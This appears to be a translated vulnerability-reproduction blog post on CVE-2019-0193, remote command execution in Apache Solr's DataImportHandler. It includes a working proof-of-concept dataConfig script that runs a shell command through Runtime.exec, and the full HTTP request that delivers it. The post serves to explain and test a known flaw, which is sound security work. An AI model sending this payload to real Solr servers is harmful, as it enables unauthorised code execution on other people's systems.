Apache Solr remote command execution vulnerability CVE-2019-0193 vulnerability recurrence

Apache Solr remote command execution vulnerability (CVE-2019-0193)

by ADummy

0x00 use route

​ Create core -> select debug mode -> write exp -> command execution

0x01 vulnerability introduction

​ Apache Solr is an open source search server. Solr is developed using the Java language and is mainly implemented based on HTTP and Apache Lucene. The vulnerability appeared in Apache Solr's DataImportHandler, which is an optional but commonly used module used to extract data from databases and other sources. It has a function in which all DIH configurations can be set through the dataConfig parameter of an external request. Since DIH configuration can contain scripts, attackers can construct dangerous requests to cause remote command execution.

Affected version
Apache solr < 8.2.0

0x02 vulnerability reproduction

You http://your-ip:8983/can view the management page of Apache solr without logging in.
Insert picture description here

As shown in the figure above, first open the newly created testcore, select the Dataimport function and select the debug mode, and fill in the following POC:

<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>

Insert picture description here

Clicking Execute with this Confugurationwill send the following request package:

POST /solr/test/dataimport?_=1565835261600&indent=on&wt=json HTTP/1.1
Host: localhost:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 679
Connection: close
Referer: http://localhost:8983/solr/
Cookie: csrftoken=gzcSR6Sj3SWd3v4ZxmV5OcZuPKbOhI6CMpgp5vIMvr5wQAL4stMtxJqL2sUE8INi; sessionid=snzojzqa5zn187oghf06z6xodulpohpr

command=full-import&verbose=false&clean=false&commit=true&debug=true&core=test&dataConfig=%3CdataConfig%3E%0A++%3CdataSource+type%3D%22URLDataSource%22%2F%3E%0A++%3Cscript%3E%3C!%5BCDATA%5B%0A++++++++++function+poc()%7B+java.lang.Runtime.getRuntime().exec(%22touch+%2Ftmp%2Fsuccess%22)%3B%0A++++++++++%7D%0A++%5D%5D%3E%3C%2Fscript%3E%0A++%3Cdocument%3E%0A++++%3Centity+name%3D%22stackoverflow%22%0A++++++++++++url%3D%22https%3A%2F%2Fstackoverflow.com%2Ffeeds%2Ftag%2Fsolr%22%0A++++++++++++processor%3D%22XPathEntityProcessor%22%0A++++++++++++forEach%3D%22%2Ffeed%22%0A++++++++++++transformer%3D%22script%3Apoc%22+%2F%3E%0A++%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E&name=dataimport

Enter the container, check that success has been created

Insert picture description here

Guess you like

Origin blog.csdn.net/weixin_43416469/article/details/114236720